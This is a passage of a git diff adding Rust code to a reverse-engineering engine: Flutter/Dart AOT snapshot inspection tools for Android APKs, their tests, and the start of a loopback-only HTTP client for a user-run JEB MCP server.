"only_locales": ["de"]})); + assert_eq!(some["result"]["strings"].as_object().unwrap().keys().collect::>(), vec!["fr"]); + assert_eq!(some["result"]["locales_not_found"], json!(["de"])); + assert!(some["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "locales_not_found")); + let arsc = craft_anything_testkit::temp_file("resources.arsc", &fx::resources_arsc()); + let a = call(&e, "android_resources_read", json!({"path": arsc, "type_name": "style"})); + assert_eq!(a["result"]["entries"][0]["bag"][0]["value"], "#ff336699"); + } + + #[test] + fn apktool_client_reports() { + let mut s = crate::testing::session(); + s.settings.engines.store_dir = Some("/nonexistent-store".into()); + let e = Engine::new(s); + let v = call(&e, "engines_apktool_check", json!({})); + assert_eq!(v["result"]["built_in_decoder"], true); + } + + #[test] + fn hostile_packages_do_not_panic() { + let e = Engine::new(crate::testing::session()); + let apk_bytes = fx::notes_apk(); + for (i, m) in craft_anything_testkit::mutations(&apk_bytes).into_iter().enumerate().step_by(3) { + let p = craft_anything_testkit::temp_file(&format!("m{i}.apk"), &m); + for (tool, params) in [ + ("android_package_show", json!({"path": p})), + ("android_classes_find", json!({"path": p})), + ("android_method_show", json!({"path": p, "class_name": "com.example.notes.MainActivity", "method_name": "pick"})), + ("android_class_users_find", json!({"path": p, "class_name": "com.example.notes.Util"})), + ("android_resources_read", json!({"path": p, "xml_files": ["res/layout/main.xml"]})), + ] { + let _ = e.call(tool, params, crate::CallOptions::new(crate::Caller::Mcp)); + } + } + } +} diff --git a/desktop/crates/engine/src/tools/android_tools/flutter.rs b/desktop/crates/engine/src/tools/android_tools/flutter.rs new file mode 100644 index 0000000..01bf018 --- /dev/null +++ b/desktop/crates/engine/src/tools/android_tools/flutter.rs @@ -0,0 +1,391 @@ +//! Flutter builds: which Flutter libraries an APK ships per ABI, the Dart snapshot version hash, +//! stated Dart versions and toolchains (`android_flutter_identify`), and a look inside a Dart AOT +//! library: snapshot symbols and headers plus the app's package URIs and identifier tokens +//! (`android_dart_snapshot_show`). Built-in parsers only. + +use crate::target::MAX_TARGET_BYTES; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use crate::tools::native_common::{page, spec}; +use crate::tools::static_input::{Input, builder, format_err, load}; +use craft_anything_evidence::{Authority, Confidence, Coverage, ErrorCode, Limitation, Location, ToolError, sha256_hex}; +use craft_anything_formats::{dart, zip}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; + +/// Most bytes read from one library. +const MAX_LIBRARY: u64 = 256 << 20; +/// Most bytes read from all libraries together. +const MAX_CUMULATIVE: u64 = 768 << 20; +const MAX_CANDIDATES: usize = 64; + +pub fn specs() -> Vec { + vec![ + spec( + "android_flutter_identify", + "Identify a Flutter build", + "For an APK (or one Flutter library): which ABIs ship libapp.so/libflutter.so, the Dart snapshot version hash (null with candidates when libraries disagree), Dart versions and toolchains the binaries state, GNU build ids, and the size and SHA-256 of each libflutter.so. Built-in parser.", + "Check whether an Android app is built with Flutter and which engine build it uses.", + Toolset::Android, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + android_flutter_identify, + ), + spec( + "android_dart_snapshot_show", + "Inspect a Dart AOT snapshot", + "Read a Flutter app's compiled Dart library (libapp.so, from an APK or directly): the dynamic symbols for the VM and isolate snapshots (from section headers or, for stripped images, PT_DYNAMIC with DT_HASH/DT_GNU_HASH), snapshot headers (kind, version hash, features), and a byte scan of the isolate snapshot for package:/dart: URIs and identifier tokens (tokens paged with offset/limit).", + "Peek inside a Flutter app's compiled Dart code to see its packages and names.", + Toolset::Android, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + android_dart_snapshot_show, + ), + ] +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct IdentifyParams { + /// Absolute path of an APK (or a libapp.so / libflutter.so); the active target when omitted. + #[serde(default)] + pub path: Option, +} + +fn d_limit() -> usize { + 500 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DartAotParams { + /// Absolute path of an APK or a libapp.so; the active target when omitted. + #[serde(default)] + pub path: Option, + /// ABI folder to read from an APK (e.g. arm64-v8a); by default arm64-v8a, x86_64, x86, then armeabi-v7a. + #[serde(default)] + pub abi: Option, + /// First identifier token of the page. + #[serde(default)] + pub offset: usize, + /// Identifier tokens per page (1..=2000). + #[serde(default = "d_limit")] + pub limit: usize, +} + +/// One Flutter library found in a package. +struct Lib { + abi: String, + role: &'static str, + entry: Option, +} + +/// The Flutter libraries in the input and whether it is a package (ZIP). +fn libraries(input: &Input) -> Result<(Vec, bool), ToolError> { + let data = &input.bytes[..]; + if zip::looks_like_zip(data) { + let z = zip::parse(data, 200_000).map_err(|e| ToolError::new(ErrorCode::NotSupported, format!("Couldn't read this package: {e}")))?; + let mut libs: Vec = Vec::new(); + for e in z.entries { + if let Some((abi, role)) = dart::flutter_library(&e.name).map(|(a, r)| (a.to_string(), r)) { + libs.push(Lib { abi, role, entry: Some(e) }); + } + } + libs.sort_by(|a, b| (dart::abi_rank(&a.abi), &a.abi, a.role).cmp(&(dart::abi_rank(&b.abi), &b.abi, b.role))); + Ok((libs, true)) + } else if data.starts_with(b"\x7fELF") { + let role = if input.name.to_ascii_lowercase().contains("flutter") { "libflutter" } else { "libapp" }; + Ok((vec![Lib { abi: "unknown".into(), role, entry: None }], false)) + } else { + Err(ToolError::unsupported(format!("{} is neither an APK nor an ELF library", input.name)) + .with_remediation("Pass an Android package (.apk) or a Flutter library such as lib/arm64-v8a/libapp.so.")) + } +} + +fn read_lib(input: &Input, lib: &Lib, budget: &mut u64) -> Result, String> { + match &lib.entry { + None => Ok(input.bytes.to_vec()), + Some(e) => { + if e.uncompressed_size > MAX_LIBRARY { + return Err(format!("{} is {} bytes; the per-library limit is {MAX_LIBRARY}", e.name, e.uncompressed_size)); + } + if e.uncompressed_size > *budget { + return Err(format!("{}: the {MAX_CUMULATIVE}-byte reading budget is used up", e.name)); + } + let b = zip::read_entry(&input.bytes, e, MAX_LIBRARY).map_err(|err| format!("{}: {err}", e.name))?; + *budget = budget.saturating_sub(b.len() as u64); + Ok(b) + } + } +} + +fn android_flutter_identify(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: IdentifyParams = parse_params(params)?; + let input = load(ctx, p.path.as_deref(), MAX_TARGET_BYTES)?; + let (libs, _) = libraries(&input)?; + let mut budget = MAX_CUMULATIVE; + let mut abis: BTreeMap> = BTreeMap::new(); + let mut hashes: Vec = Vec::new(); + let mut hashes_truncated = false; + let mut versions: Vec = Vec::new(); + let mut toolchains: Vec = Vec::new(); + let mut skipped = Vec::new(); + for (i, lib) in libs.iter().enumerate() { + ctx.cancel.check()?; + ctx.report(Some(i as f32 / libs.len().max(1) as f32), format!("reading {} for {}", lib.role, lib.abi)); + let bytes = match read_lib(&input, lib, &mut budget) { + Ok(b) => b, + Err(r) => { + skipped.push(json!({"abi": lib.abi, "library": lib.role, "reason": r})); + continue; + } + }; + let scan = dart::scan_library(&bytes, MAX_CANDIDATES); + for h in &scan.snapshot_hashes { + if !hashes.contains(h) { + if hashes.len() < MAX_CANDIDATES { + hashes.push(h.clone()); + } else { + hashes_truncated = true; + } + } + } + hashes_truncated |= scan.hashes_truncated; + for v in &scan.dart_versions { + if !versions.contains(v) { + versions.push(v.clone()); + } + } + for t in &scan.toolchains { + if !toolchains.contains(t) { + toolchains.push(t.clone()); + } + } + let mut info = json!({ + "path": lib.entry.as_ref().map(|e| e.name.clone()).unwrap_or_else(|| input.name.clone()), + "size": bytes.len(), + "sha256": sha256_hex(&bytes), + "build_id": scan.build_id, + }); + if lib.role == "libapp" { + info["snapshot_hashes"] = json!(scan.snapshot_hashes); + info["snapshot_occurrences"] = json!(scan.snapshot_occurrences); + } else { + info["dart_versions"] = json!(scan.dart_versions); + info["toolchains"] = json!(scan.toolchains); + } + abis.entry(lib.abi.clone()).or_default().insert(lib.role.to_string(), info); + } + let detected = libs.iter().any(|l| l.role == "libapp"); + let snapshot_hash = if hashes.len() == 1 && !hashes_truncated { hashes.first().cloned() } else { None }; + let preferred = libs.iter().find(|l| l.role == "libapp").map(|l| l.abi.clone()); + let abi_list: Vec = abis.iter().map(|(abi, m)| json!({"abi": abi, "libapp": m.get("libapp"), "libflutter": m.get("libflutter")})).collect(); + let summary = if detected { + format!( + "Flutter app: libapp.so for {} ABI(s){}; snapshot hash {}{}.", + abis.values().filter(|m| m.contains_key("libapp")).count(), + preferred.as_deref().map(|a| format!(" (preferred {a})")).unwrap_or_default(), + snapshot_hash.as_deref().unwrap_or(if hashes.is_empty() { "not found" } else { "ambiguous" }), + versions.first().map(|v| format!("; Dart {v}")).unwrap_or_default() + ) + } else if libs.is_empty() { + format!("No Flutter libraries (lib//libapp.so or libflutter.so) in {}.", input.name) + } else { + "libflutter.so is present but no libapp.so: the Flutter engine ships without compiled app code here.".to_string() + }; + let mut lims = vec![ + Limitation::new( + "no_version_table", + "Dart and Flutter versions are reported only when a binary states them; snapshot hashes are not mapped to SDK versions.", + ), + Limitation::new( + "absence_not_proof", + "Not finding a library or string here does not prove the app lacks it (it may be downloaded, split or obfuscated).", + ), + ]; + if !hashes.is_empty() && snapshot_hash.is_none() { + lims.push(Limitation::new("ambiguous_snapshot_hash", format!("{} different snapshot hashes were found; see snapshot_hash_candidates", hashes.len()))); + } + if !skipped.is_empty() { + lims.push(Limitation::new("libraries_skipped", format!("{} librar(ies) were not read; see skipped", skipped.len()))); + } + let examined = libs.len().saturating_sub(skipped.len()) as u64; + let ev = builder(ctx, "android_flutter_identify", input.subject.clone(), json!({"path": input.path})) + .result(json!({ + "flutter_detected": detected, + "preferred_abi": preferred, + "snapshot_hash": snapshot_hash, + "snapshot_hash_candidates": hashes, + "candidates_truncated": hashes_truncated, + "dart_versions": versions, + "toolchains": toolchains, + "abis": abi_list, + "skipped": skipped, + })) + .summary(summary) + .confidence(if detected { Confidence::Observed } else { Confidence::Inferred }) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(if skipped.is_empty() { Coverage::complete(examined) } else { Coverage::page(examined, libs.len() as u64, 0) }) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +fn valid_abi(a: &str) -> bool { + (2..=16).contains(&a.len()) && a.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'_' || b == b'-') +} + +fn android_dart_snapshot_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DartAotParams = parse_params(params)?; + if let Some(a) = &p.abi + && !valid_abi(a) + { + return Err(ToolError::invalid(format!("abi {a:?} must be 2-16 characters of a-z, 0-9, _ or -"))); + } + if !(1..=2000).contains(&p.limit) { + return Err(ToolError::invalid("limit must be 1..=2000")); + } + let input = load(ctx, p.path.as_deref(), MAX_TARGET_BYTES)?; + let (libs, is_package) = libraries(&input)?; + let apps: Vec<&Lib> = libs.iter().filter(|l| l.role == "libapp" || !is_package).collect(); + let chosen = match &p.abi { + Some(a) if is_package => apps.iter().find(|l| &l.abi == a).copied().ok_or_else(|| { + ToolError::invalid(format!("no lib/{a}/libapp.so in {}", input.name)) + .with_details(json!({"available_abis": apps.iter().map(|l| l.abi.clone()).collect::>()})) + .with_remediation("Pick one of available_abis, or omit abi.") + })?, + _ => apps.first().copied().ok_or_else(|| { + ToolError::new(ErrorCode::NotSupported, format!("{} has no Flutter app library (lib//libapp.so)", input.name)) + .with_remediation("Run android_flutter_identify to check whether this is a Flutter app.") + })?, + }; + let mut budget = MAX_CUMULATIVE; + let bytes = read_lib(&input, chosen, &mut budget).map_err(|r| ToolError::new(ErrorCode::OverLimit, r))?; + ctx.cancel.check()?; + let aot = dart::inspect_aot(&bytes, 500, 2000).map_err(|e| format_err(e, "an ELF library"))?; + // The engine library next to it often states the Dart version. + let mut versions = aot.dart_versions.clone(); + if versions.is_empty() + && let Some(fl) = libs.iter().find(|l| l.role == "libflutter" && l.abi == chosen.abi) + && let Ok(fb) = read_lib(&input, fl, &mut budget) + { + versions = dart::scan_library(&fb, 4).dart_versions; + } + let lib_path = chosen.entry.as_ref().map(|e| e.name.clone()).unwrap_or_else(|| input.name.clone()); + let (tokens, cov) = page(&aot.string_pool.tokens, p.offset, p.limit); + let feature_list: Vec<&str> = aot.features.as_deref().map(|f| f.split_whitespace().collect()).unwrap_or_default(); + let present = aot.snapshots.iter().filter(|s| s.present).count(); + let summary = format!( + "{lib_path} ({}-bit {}): {present}/4 Dart snapshot symbols via {}; {}; snapshot hash {}; {} package/dart URIs, {} identifier tokens.", + aot.elf.bits, + aot.elf.architecture, + aot.elf.symbol_source, + if aot.complete { "complete FullAOT snapshot" } else { "incomplete or non-AOT snapshot" }, + aot.snapshot_hash.as_deref().unwrap_or("unknown"), + aot.string_pool.uris.len(), + aot.string_pool.tokens.len() + ); + let mut lims = vec![ + Limitation::new( + "string_pool_byte_scan", + "URIs and tokens come from a byte scan of the isolate snapshot, not from decoding its object pool; classes, functions and their code are not recovered.", + ), + Limitation::new("no_version_table", "The snapshot hash is not mapped to an SDK version; dart_versions lists only what the binaries state."), + Limitation::new("header_layout", "Snapshot kinds use the Dart 2.14+ numbering; complete requires FullAOT (kind 3) for both data snapshots."), + ]; + if aot.string_pool.uris_truncated || aot.string_pool.tokens_truncated { + lims.push(Limitation::new("string_pool_capped", "The scan keeps at most 500 URIs and 2000 tokens.")); + } + lims.extend(aot.warnings.iter().chain(aot.elf.warnings.iter()).map(|w| Limitation::new("parse_warning", w.clone()))); + let ev = builder(ctx, "android_dart_snapshot_show", input.subject.clone(), json!({"path": input.path, "abi": p.abi, "offset": p.offset, "limit": p.limit})) + .result(json!({ + "library": lib_path, + "abi": chosen.abi, + "elf": aot.elf, + "snapshots": aot.snapshots, + "complete": aot.complete, + "snapshot_hash": aot.snapshot_hash, + "features": aot.features, + "feature_list": feature_list, + "dart_versions": versions, + "uris": aot.string_pool.uris, + "uris_truncated": aot.string_pool.uris_truncated, + "tokens_total": aot.string_pool.tokens.len(), + "tokens_truncated": aot.string_pool.tokens_truncated, + "tokens": tokens, + "scanned_bytes": aot.string_pool.scanned_bytes, + })) + .summary(summary) + .confidence(if aot.complete { Confidence::Observed } else { Confidence::Inferred }) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(cov) + .location(Location::new("path", input.path.display().to_string()).with_label(lib_path)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +#[cfg(test)] +mod tests { + use crate::Engine; + use crate::tools::native_common::test_support::{call, call_err}; + use craft_anything_testkit::flutter as fx; + use serde_json::json; + + #[test] + fn identifies_a_flutter_apk() { + let e = Engine::new(crate::testing::session()); + let apk = craft_anything_testkit::temp_file("app.apk", &fx::flutter_apk()); + let v = call(&e, "android_flutter_identify", json!({"path": apk})); + let r = &v["result"]; + assert_eq!(r["flutter_detected"], true); + assert_eq!(r["preferred_abi"], "arm64-v8a"); + assert_eq!(r["snapshot_hash"], fx::SNAPSHOT_HASH); + assert_eq!(r["dart_versions"][0], fx::DART_VERSION); + assert_eq!(r["abis"].as_array().unwrap().len(), 2); + assert_eq!(r["abis"][0]["libflutter"]["build_id"], fx::BUILD_ID_HEX); + assert_eq!(r["abis"][0]["libflutter"]["sha256"].as_str().unwrap().len(), 64); + let plain = craft_anything_testkit::temp_file("plain.apk", &fx::plain_apk()); + let v = call(&e, "android_flutter_identify", json!({"path": plain})); + assert_eq!(v["result"]["flutter_detected"], false); + assert!(v["result"]["snapshot_hash"].is_null()); + } + + #[test] + fn inspects_dart_aot_from_apk_and_elf() { + let e = Engine::new(crate::testing::session()); + let apk = craft_anything_testkit::temp_file("app.apk", &fx::flutter_apk()); + let v = call(&e, "android_dart_snapshot_show", json!({"path": apk})); + let r = &v["result"]; + assert_eq!(r["abi"], "arm64-v8a"); + assert_eq!(r["complete"], true); + assert_eq!(r["dart_versions"][0], fx::DART_VERSION); + assert!(r["uris"].as_array().unwrap().iter().any(|u| u == "package:notes_app/main.dart")); + let v = call(&e, "android_dart_snapshot_show", json!({"path": apk, "abi": "armeabi-v7a", "limit": 1})); + assert_eq!(v["result"]["elf"]["symbol_source"], "dynamic-segment"); + assert_eq!(v["result"]["tokens"].as_array().unwrap().len(), 1); + assert_eq!(v["coverage"]["status"], "partial"); + let so = craft_anything_testkit::temp_file("libapp.so", &fx::libapp_so(fx::SymbolTable::DynamicHash)); + let v = call(&e, "android_dart_snapshot_show", json!({"path": so})); + assert_eq!(v["result"]["snapshot_hash"], fx::SNAPSHOT_HASH); + assert!(call_err(&e, "android_dart_snapshot_show", json!({"path": apk, "abi": "mips"})).message.contains("no lib/mips")); + assert!(call_err(&e, "android_dart_snapshot_show", json!({"path": apk, "abi": "BAD!"})).message.contains("abi")); + let plain = craft_anything_testkit::temp_file("plain.apk", &fx::plain_apk()); + call_err(&e, "android_dart_snapshot_show", json!({"path": plain})); + } + + #[test] + fn damaged_packages_never_panic() { + let e = Engine::new(crate::testing::session()); + let apk = fx::flutter_apk(); + for (i, m) in craft_anything_testkit::mutations(&apk).into_iter().enumerate().step_by(7) { + let p = craft_anything_testkit::temp_file(&format!("m{i}.apk"), &m); + let _ = e.call("android_flutter_identify", json!({"path": p}), crate::CallOptions::new(crate::Caller::Cli)); + let _ = e.call("android_dart_snapshot_show", json!({"path": p}), crate::CallOptions::new(crate::Caller::Cli)); + } + } +} diff --git a/desktop/crates/engine/src/tools/android_tools/jeb.rs b/desktop/crates/engine/src/tools/android_tools/jeb.rs new file mode 100644 index 0000000..9738915 --- /dev/null +++ b/desktop/crates/engine/src/tools/android_tools/jeb.rs @@ -0,0 +1,870 @@ +//! JEB tools: a small MCP client (Streamable HTTP, JSON-RPC 2.0) for a JEB MCP server the user +//! runs themselves on this machine. The server URL comes from Settings → Engines (`jeb_url`). +//! We never start JEB, never retry, only talk plain HTTP to a loopback address, and bound every +//! exchange by a deadline and a response-size cap. + +use crate::tool::{CancelToken, Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use crate::tools::native_common::spec; +use craft_anything_evidence::{ + Authority, Confidence, Coverage, Environment, ErrorCode, EvidenceBuilder, Limitation, Location, Subject, ToolError, host_triple, +}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::io::{ErrorKind, Read, Write}; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr, SocketAddr, TcpStream}; +use std::time::{Duration, Instant}; + +/// Biggest HTTP response we accept. +const MAX_RESPONSE: usize = 16 << 20; +/// Biggest upstream payload kept in evidence (serialised bytes). +const MAX_PAYLOAD: usize = 2 << 20; +const PROTOCOL_VERSION: &str = "2025-06-18"; + +pub fn specs() -> Vec { + vec![ + spec( + "engines_jeb_check", + "Check the JEB connection", + "Connect to the user-run JEB MCP server set in Settings → Engines (jeb_url, loopback only), report its server information, upstream tools and client information. Never starts JEB.", + "Check that REI Reverse Engineer can talk to your running JEB.", + Toolset::Android, + Effects::NETWORK_EVIDENCE, + Requires::Nothing, + schema_of::, + engines_jeb_check, + ), + spec( + "android_jeb_open", + "Open a file in JEB", + "Ask the user-run JEB MCP server to open an absolute file path as a project (upstream open_project). Not idempotent: JEB keeps the project open.", + "Load an app into your running JEB.", + Toolset::Android, + Effects::MUTATES_SESSION.union(Effects::ACCESSES_NETWORK), + Requires::Nothing, + schema_of::, + android_jeb_open, + ), + spec( + "android_jeb_units_browse", + "List JEB units", + "List the units of the open JEB project (upstream list_units), optionally under parent_unit_path and filtered, one page at a time (index, count ≤ 100).", + "See the parts JEB found in the app.", + Toolset::Android, + Effects::NETWORK_EVIDENCE, + Requires::Nothing, + schema_of::, + android_jeb_units_browse, + ), + spec( + "android_jeb_decompile", + "Decompile with JEB", + "Ask JEB to decompile one type or method (upstream decompile_code_item) by item_address, optionally inside unit_path. The output is JEB's, recorded as external evidence.", + "Ask JEB to turn one class or method back into readable code.", + Toolset::Android, + Effects::NETWORK_EVIDENCE, + Requires::Nothing, + schema_of::, + android_jeb_decompile, + ), + ] +} + +fn d_timeout() -> u64 { + 60 +} +fn d_open_timeout() -> u64 { + 300 +} +fn d_count() -> u32 { + 100 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ClientParams { + /// Seconds to wait for the whole exchange (1..=600). + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct OpenParams { + /// Absolute path of the file to open in JEB (APK, DEX, …). + pub path: String, + /// Seconds to wait for the whole exchange (1..=600). + #[serde(default = "d_open_timeout")] + pub timeout_secs: u64, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ListParams { + /// Only units whose name or path matches this text. + #[serde(default)] + pub filter: Option, + /// List the children of this unit instead of the project's top-level units. + #[serde(default)] + pub parent_unit_path: Option, + /// First unit of the page. + #[serde(default)] + pub index: u32, + /// Units per page (1..=100). + #[serde(default = "d_count")] + pub count: u32, + /// Seconds to wait for the whole exchange (1..=600). + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum ItemKind { + Type, + Method, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DecompileParams { + /// The code unit holding the item; JEB's default when omitted. + #[serde(default)] + pub unit_path: Option, + /// The item's address in JEB's notation, e.g. `Lcom/example/Main;` or `Lcom/example/Main;->onCreate(Landroid/os/Bundle;)V`. + pub item_address: String, + /// type or method. + pub item_kind: ItemKind, + /// Seconds to wait for the whole exchange (1..=600). + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +// --------------------------------------------------------------------------------------------- +// Endpoint + +#[derive(Debug, Clone, PartialEq, Eq)] +struct Endpoint { + url: String, + host_header: String, + addrs: Vec, + path: String, +} + +fn config_err(msg: impl Into) -> ToolError { + ToolError::new(ErrorCode::BadSettings, msg) + .with_remediation("Set Settings → Engines → jeb_url to the plain-HTTP loopback URL your JEB MCP server prints, e.g. http://127.0.0.1:8425/mcp.") +} + +fn parse_endpoint(url: &str) -> Result { + let u = url.trim(); + if u.contains(['?', '#', '@']) || u.chars().any(|c| c.is_whitespace() || c.is_control()) { + return Err(config_err(format!("jeb_url {u:?} must not contain credentials, a query, a fragment or spaces"))); + } + let Some(rest) = u.strip_prefix("http://") else { + return Err(config_err(format!("jeb_url {u:?} must start with http:// (a local, plain-HTTP server)"))); + }; + let (authority, path) = match rest.find('/') { + Some(i) => (rest.get(..i).unwrap_or(""), rest.get(i..).unwrap_or("/")), + None => (rest, "/"), + }; + let (host, port) = if let Some(after) = authority.strip_prefix('[') { + let (h, tail) = after.split_once(']').ok_or_else(|| config_err("jeb_url has an unclosed [ in its host"))?; + let port = match tail { + "" => None, + t => Some(t.strip_prefix(':').ok_or_else(|| config_err("jeb_url has junk after the ] of its host"))?), + }; + (format!("[{h}]"), port) + } else { + match authority.split_once(':') { + Some((h, p)) => (h.to_string(), Some(p)), + None => (authority.to_string(), None), + } + }; + let port: u16 = match port { + None => 80, + Some(p) => p.parse().ok().filter(|p| *p != 0).ok_or_else(|| config_err(format!("jeb_url has an invalid port {p:?}")))?, + }; + let ips: Vec = match host.to_ascii_lowercase().as_str() { + "127.0.0.1" => vec![IpAddr::V4(Ipv4Addr::LOCALHOST)], + "[::1]" => vec![IpAddr::V6(Ipv6Addr::LOCALHOST)], + "localhost" => vec![IpAddr::V4(Ipv4Addr::LOCALHOST), IpAddr::V6(Ipv6Addr::LOCALHOST)], + other => { + return Err(config_err(format!("jeb_url host {other:?} is not this machine; only 127.0.0.1, [::1] or localhost are allowed"))); + } + }; + Ok(Endpoint { + url: u.to_string(), + host_header: format!("{host}:{port}"), + addrs: ips.into_iter().map(|ip| SocketAddr::new(ip, port)).collect(), + path: path.to_string(), + }) +} + +fn endpoint_from_settings(ctx: &Ctx<'_>) -> Result { + match ctx.session.settings.engines.jeb_url.as_deref().map(str::trim).filter(|s| !s.is_empty()) { + Some(u) => parse_endpoint(u), + None => Err(ToolError::new(ErrorCode::EngineMissing, "JEB is not configured.") + .with_remediation("Start the JEB MCP server inside your JEB, then set Settings → Engines → jeb_url (for example http://127.0.0.1:8425/mcp).")), + } +} + +// --------------------------------------------------------------------------------------------- +// HTTP + +struct Response { + status: u16, + headers: Vec<(String, String)>, + body: Vec, +} + +impl Response { + fn header(&self, name: &str) -> Option<&str> { + self.headers.iter().find(|(k, _)| k.eq_ignore_ascii_case(name)).map(|(_, v)| v.as_str()) + } +} + +fn find(hay: &[u8], needle: &[u8]) -> Option { + hay.windows(needle.len()).position(|w| w == needle) +} + +/// Decode a chunked body: (data so far, whether the final chunk was seen). +fn dechunk(body: &[u8]) -> (Vec, bool) { + let mut out = Vec::new(); + let mut pos = 0usize; + loop { + let Some(rest) = body.get(pos..) else { return (out, false) }; + let Some(eol) = find(rest, b"\r\n") else { return (out, false) }; + let line = String::from_utf8_lossy(rest.get(..eol).unwrap_or_default()); + let size_text = line.split(';').next().unwrap_or("").trim(); + let Ok(size) = usize::from_str_radix(size_text, 16) else { return (out, false) }; + let start = pos.saturating_add(eol).saturating_add(2); + if size == 0 { + return (out, true); + } + let end = start.saturating_add(size); + match body.get(start..end) { + Some(d) => out.extend_from_slice(d), + None => { + out.extend_from_slice(body.get(start..).unwrap_or_default()); + return (out, false); + } + } + pos = end.saturating_add(2); + } +} + +/// JSON-RPC messages inside a server-sent-event stream. +fn sse_messages(body: &[u8]) -> Vec { + let text = String::from_utf8_lossy(body).replace("\r\n", "\n"); + let mut out = Vec::new(); + for event in text.split("\n\n") { + let data: Vec<&str> = event.lines().filter_map(|l| l.strip_prefix("data:")).map(|d| d.strip_prefix(' ').unwrap_or(d)).collect(); + if data.is_empty() { + continue; + } + if let Ok(v) = serde_json::from_str::(&data.join("\n")) { + out.push(v); + } + } + out +} + +fn matching(messages: Vec, id: u64) -> Option { + messages.into_iter().find(|m| m.get("id").and_then(Value::as_u64) == Some(id) && (m.get("result").is_some() || m.get("error").is_some())) +} + +struct Client { + ep: Endpoint, + deadline: Instant, + cancel: CancelToken, + session: Option, + next_id: u64, +} + +impl Client { + fn new(ep: Endpoint, timeout_secs: u64, cancel: CancelToken) -> Result { + if !(1..=600).contains(&timeout_secs) { + return Err(ToolError::invalid("timeout_secs must be 1..=600")); + } + Ok(Client { ep, deadline: Instant::now() + Duration::from_secs(timeout_secs), cancel, session: None, next_id: 1 }) + } + + fn timeout_err(&self) -> ToolError { + ToolError::new(ErrorCode::TimedOut, format!("JEB at {} did not answer in time.", self.ep.url)) + .with_remediation("Check JEB is responsive (a long analysis may be running), or raise timeout_secs.") + } + + fn remaining(&self) -> Result { + self.cancel.check()?; + let r = self.deadline.saturating_duration_since(Instant::now()); + if r.is_zero() { Err(self.timeout_err()) } else { Ok(r) } + } + + fn connect(&self) -> Result { + let mut timed_out = false; + let mut last = String::new(); + for a in &self.ep.addrs { + let t = self.remaining()?.min(Duration::from_secs(10)); + match TcpStream::connect_timeout(a, t) { + Ok(s) => return Ok(s), + Err(e) if matches!(e.kind(), ErrorKind::TimedOut | ErrorKind::WouldBlock) => timed_out = true, + Err(e) => last = e.to_string(), + } + } + if !last.is_empty() || !timed_out { + let e = ToolError::new(ErrorCode::EngineMissing, format!("Couldn't reach JEB at {} ({last}).", self.ep.url)) + .with_remediation("Start JEB and its MCP server, and check Settings → Engines → jeb_url matches the address it prints."); + return Err(e); + } + Err(self.timeout_err()) + } + + /// POST one JSON-RPC message; for requests (`id` given) wait for the matching response. + fn post(&mut self, body: &Value, id: Option) -> Result, ToolError> { + let payload = serde_json::to_vec(body).map_err(|e| ToolError::internal(e.to_string()))?; + let mut stream = self.connect()?; + let mut req = format!( + "POST {} HTTP/1.1\r\nHost: {}\r\nUser-Agent: CraftAnything-dev\r\nContent-Type: application/json\r\nAccept: application/json, text/event-stream\r\nMCP-Protocol-Version: {PROTOCOL_VERSION}\r\nContent-Length: {}\r\nConnection: close\r\n", + self.ep.path, + self.ep.host_header, + payload.len() + ); + if let Some(s) = &self.session { + req.push_str(&format!("Mcp-Session-Id: {s}\r\n")); + } + req.push_str("\r\n"); + let io_err = |c: &Client, e: std::io::Error| -> ToolError { + if matches!(e.kind(), ErrorKind::TimedOut | ErrorKind::WouldBlock) { + c.timeout_err() + } else { + ToolError::new(ErrorCode::EngineMissing, format!("The connection to JEB at {} failed: {e}", c.ep.url)) + .with_remediation("Check JEB and its MCP server are still running.") + } + }; + stream.set_write_timeout(Some(self.remaining()?)).map_err(|e| io_err(self, e))?; + stream.write_all(req.as_bytes()).and_then(|_| stream.write_all(&payload)).and_then(|_| stream.flush()).map_err(|e| io_err(self, e))?; + let resp = self.read_response(&mut stream, id)?; + if let Some(s) = resp.header("mcp-session-id") + && !s.is_empty() + && s.len() <= 256 + && s.chars().all(|c| c.is_ascii_graphic()) + { + self.session = Some(s.to_string()); + } + if resp.status == 202 || resp.status == 204 { + return Ok(None); + } + if resp.status == 404 && self.session.is_some() && id.is_some() { + return Err(ToolError::new(ErrorCode::EngineMissing, "JEB ended the MCP session.").with_remediation("Run the tool again.")); + } + if !(200..300).contains(&resp.status) { + let snippet: String = String::from_utf8_lossy(&resp.body).chars().take(300).collect(); + let code = if resp.status == 404 { ErrorCode::EngineMissing } else { ErrorCode::ProgramFailed }; + return Err(ToolError::new(code, format!("JEB at {} answered HTTP {}: {snippet}", self.ep.url, resp.status)) + 